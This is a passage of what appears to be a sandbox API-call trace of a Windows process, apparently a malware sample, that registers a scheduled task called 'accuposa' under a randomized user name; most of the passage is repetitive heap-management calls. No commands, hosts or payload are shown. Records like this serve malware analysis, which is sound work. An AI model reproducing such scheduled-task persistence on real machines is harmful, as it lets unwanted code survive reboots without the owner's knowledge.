lpNameBuffer=0x589fedca00, nSize=0x589fedc9d8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x589fedc9d8) returned 0x1 [0122.833] ITaskDefinition:get_RegistrationInfo (in: This=0x1c180585960, ppRegistrationInfo=0x589fedc9d0 | out: ppRegistrationInfo=0x589fedc9d0*=0x1c180585a70) returned 0x0 [0122.833] IRegistrationInfo:put_Author (This=0x1c180585a70, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0122.833] _vsnwprintf (in: _Buffer=0x589fedca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x589fedc998 | out: _Buffer="2023-09-19T17:15:46") returned 19 [0122.833] IRegistrationInfo:put_Date (This=0x1c180585a70, Date="2023-09-19T17:15:46") returned 0x0 [0122.833] IUnknown:Release (This=0x1c180585a70) returned 0x1 [0122.833] malloc (_Size=0x18) returned 0x1c180585f80 [0122.833] free (_Block=0x1c180585f80) [0122.833] lstrlenW (lpString="") returned 0 [0122.833] malloc (_Size=0x18) returned 0x1c180585f80 [0122.834] ITaskFolder:RegisterTaskDefinition (in: This=0x1c1805858e0, Path="accuposa", pDefinition=0x1c180585960, flags=6, UserId=0x589fedcc40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x589fedcc20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x589fedcc60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x589fedcc00 | out: ppTask=0x589fedcc00*=0x1c180586fd0) returned 0x0 [0122.906] free (_Block=0x1c180585f80) [0122.906] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.906] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0122.906] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0122.906] GetProcessHeap () returned 0x1c180330000 [0122.907] GetProcessHeap () returned 0x1c180330000 [0122.907] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aa60) returned 1 [0122.907] GetProcessHeap () returned 0x1c180330000 [0122.907] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aa60) returned 0xc [0122.907] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aa60) returned 1 [0122.907] GetProcessHeap () returned 0x1c180330000 [0122.907] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x82) returned 0x1c180349ed0 [0122.907] _vsnwprintf (in: _Buffer=0x589fedd2b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x589fedcb48 | out: _Buffer="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n") returned 70 [0122.907] __iob_func () returned 0x7ffa7941e210 [0122.907] _fileno (_File=0x7ffa7941e240) returned -2 [0122.907] _errno () returned 0x1c180580840 [0122.907] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0122.907] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.907] lstrlenW (lpString="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n") returned 70 [0122.907] GetConsoleOutputCP () returned 0x0 [0122.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0122.907] GetConsoleOutputCP () returned 0x0 [0122.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"accuposa\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0122.907] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 70 [0122.907] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0122.908] IUnknown:Release (This=0x1c180586fd0) returned 0x0 [0122.908] TaskScheduler:IUnknown:Release (This=0x1c180585960) returned 0x0 [0122.908] TaskScheduler:IUnknown:Release (This=0x1c1805858e0) returned 0x0 [0122.908] TaskScheduler:IUnknown:Release (This=0x1c180585730) returned 0x0 [0122.908] lstrlenW (lpString="") returned 0 [0122.908] lstrlenW (lpString="7") returned 1 [0122.908] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0122.908] GetProcessHeap () returned 0x1c180330000 [0122.908] GetProcessHeap () returned 0x1c180330000 [0122.908] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033acd0) returned 1 [0122.908] GetProcessHeap () returned 0x1c180330000 [0122.908] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033acd0) returned 0x1fc [0122.909] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033acd0) returned 1 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334a90) returned 1 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334a90) returned 0x4 [0122.909] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334a90) returned 1 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a880) returned 1 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a880) returned 0x16 [0122.909] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a880) returned 1 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] GetProcessHeap () returned 0x1c180330000 [0122.909] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aa20) returned 1 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aa20) returned 0x18 [0122.910] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aa20) returned 1 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b9b0) returned 1 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b9b0) returned 0x20 [0122.910] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b9b0) returned 1 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803342c0) returned 1 [0122.910] GetProcessHeap () returned 0x1c180330000 [0122.910] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c1803342c0) returned 0xa0 [0122.911] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c1803342c0) returned 1 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180332140) returned 1 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180332140) returned 0x18 [0122.911] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180332140) returned 1 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b500) returned 1 [0122.911] GetProcessHeap () returned 0x1c180330000 [0122.911] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b500) returned 0x20 [0122.912] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b500) returned 1 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033ac20) returned 1 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033ac20) returned 0x9a [0122.912] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033ac20) returned 1 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aa00) returned 1 [0122.912] GetProcessHeap () returned 0x1c180330000 [0122.912] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aa00) returned 0x18 [0122.912] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aa00) returned 1 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b620) returned 1 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b620) returned 0x20 [0122.913] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b620) returned 1 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333bd0) returned 1 [0122.913] GetProcessHeap () returned 0x1c180330000 [0122.913] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333bd0) returned 0x9c [0122.914] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333bd0) returned 1 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033ab80) returned 1 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033ab80) returned 0x18 [0122.914] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033ab80) returned 1 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338bc0) returned 1 [0122.914] GetProcessHeap () returned 0x1c180330000 [0122.914] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338bc0) returned 0x20 [0122.914] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338bc0) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a980) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a980) returned 0xe [0122.915] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a980) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033abe0) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033abe0) returned 0x18 [0122.915] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033abe0) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338b00) returned 1 [0122.915] GetProcessHeap () returned 0x1c180330000 [0122.915] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338b00) returned 0x20 [0122.916] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338b00) returned 1 [0122.916] GetProcessHeap () returned 0x1c180330000 [0122.916] GetProcessHeap () returned 0x1c180330000 [0122.916] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180339710) returned 1 [0122.916] GetProcessHeap () returned 0x1c180330000 [0122.916] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180339710) returned 0x208 [0122.917] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180339710) returned 1 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333fb0) returned 1 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333fb0) returned 0x18 [0122.917] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333fb0) returned 1 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338b90) returned 1 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338b90) returned 0x20 [0122.917] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338b90) returned 1 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.917] GetProcessHeap () returned 0x1c180330000 [0122.918] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033bae0) returned 1 [0122.918] GetProcessHeap () returned 0x1c180330000 [0122.918] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033bae0) returned 0x200 [0122.918] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033bae0) returned 1 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334880) returned 1 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334880) returned 0x18 [0122.919] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334880) returned 1 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338ce0) returned 1 [0122.919] GetProcessHeap () returned 0x1c180330000 [0122.919] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338ce0) returned 0x20 [0122.919] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338ce0) returned 1 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a9a0) returned 1 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a9a0) returned 0x14 [0122.921] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a9a0) returned 1 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333930) returned 1 [0122.921] GetProcessHeap () returned 0x1c180330000 [0122.921] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333930) returned 0x18 [0122.922] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333930) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338d10) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338d10) returned 0x20 [0122.922] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338d10) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803343b0) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c1803343b0) returned 0x16 [0122.922] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c1803343b0) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334790) returned 1 [0122.922] GetProcessHeap () returned 0x1c180330000 [0122.922] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334790) returned 0x18 [0122.922] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334790) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338bf0) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338bf0) returned 0x20 [0122.923] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338bf0) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334ad0) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334ad0) returned 0x2 [0122.923] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334ad0) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334440) returned 1 [0122.923] GetProcessHeap () returned 0x1c180330000 [0122.923] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334440) returned 0x20 [0122.924] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334440) returned 1 [0122.924] GetProcessHeap () returned 0x1c180330000 [0122.924] GetProcessHeap () returned 0x1c180330000 [0122.924] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334490) returned 1 [0122.924] GetProcessHeap () returned 0x1c180330000 [0122.924] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334490) returned 0x20 [0122.925] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334490) returned 1 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803344c0) returned 1 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c1803344c0) returned 0x20 [0122.925] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c1803344c0) returned 1 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334030) returned 1 [0122.925] GetProcessHeap () returned 0x1c180330000 [0122.925] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334030) returned 0x20 [0122.926] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334030) returned 1 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b4a0) returned 1 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b4a0) returned 0x20 [0122.926] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b4a0) returned 1 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aac0) returned 1 [0122.926] GetProcessHeap () returned 0x1c180330000 [0122.926] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aac0) returned 0xe [0122.927] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aac0) returned 1 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b440) returned 1 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b440) returned 0x20 [0122.927] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b440) returned 1 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334370) returned 1 [0122.927] GetProcessHeap () returned 0x1c180330000 [0122.927] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334370) returned 0x30 [0122.928] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334370) returned 1 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.928] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b5c0) returned 1 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.928] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b5c0) returned 0x20 [0122.928] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b5c0) returned 1 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.928] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333b90) returned 1 [0122.928] GetProcessHeap () returned 0x1c180330000 [0122.929] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333b90) returned 0x30 [0122.929] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333b90) returned 1 [0122.929] GetProcessHeap () returned 0x1c180330000 [0122.929] GetProcessHeap () returned 0x1c180330000 [0122.929] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b7a0) returned 1 [0122.929] GetProcessHeap () returned 0x1c180330000 [0122.929] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b7a0) returned 0x20 [0122.930] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b7a0) returned 1 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aae0) returned 1 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033aae0) returned 0xe [0122.930] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033aae0) returned 1 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033ba10) returned 1 [0122.930] GetProcessHeap () returned 0x1c180330000 [0122.930] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033ba10) returned 0x20 [0122.930] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033ba10) returned 1 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033ab40) returned 1 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033ab40) returned 0x16 [0122.931] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033ab40) returned 1 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b9e0) returned 1 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b9e0) returned 0x20 [0122.931] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b9e0) returned 1 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.931] GetProcessHeap () returned 0x1c180330000 [0122.932] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a860) returned 1 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a860) returned 0x16 [0122.932] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a860) returned 1 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b800) returned 1 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b800) returned 0x20 [0122.932] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b800) returned 1 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180349ed0) returned 1 [0122.932] GetProcessHeap () returned 0x1c180330000 [0122.932] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180349ed0) returned 0x82 [0122.933] 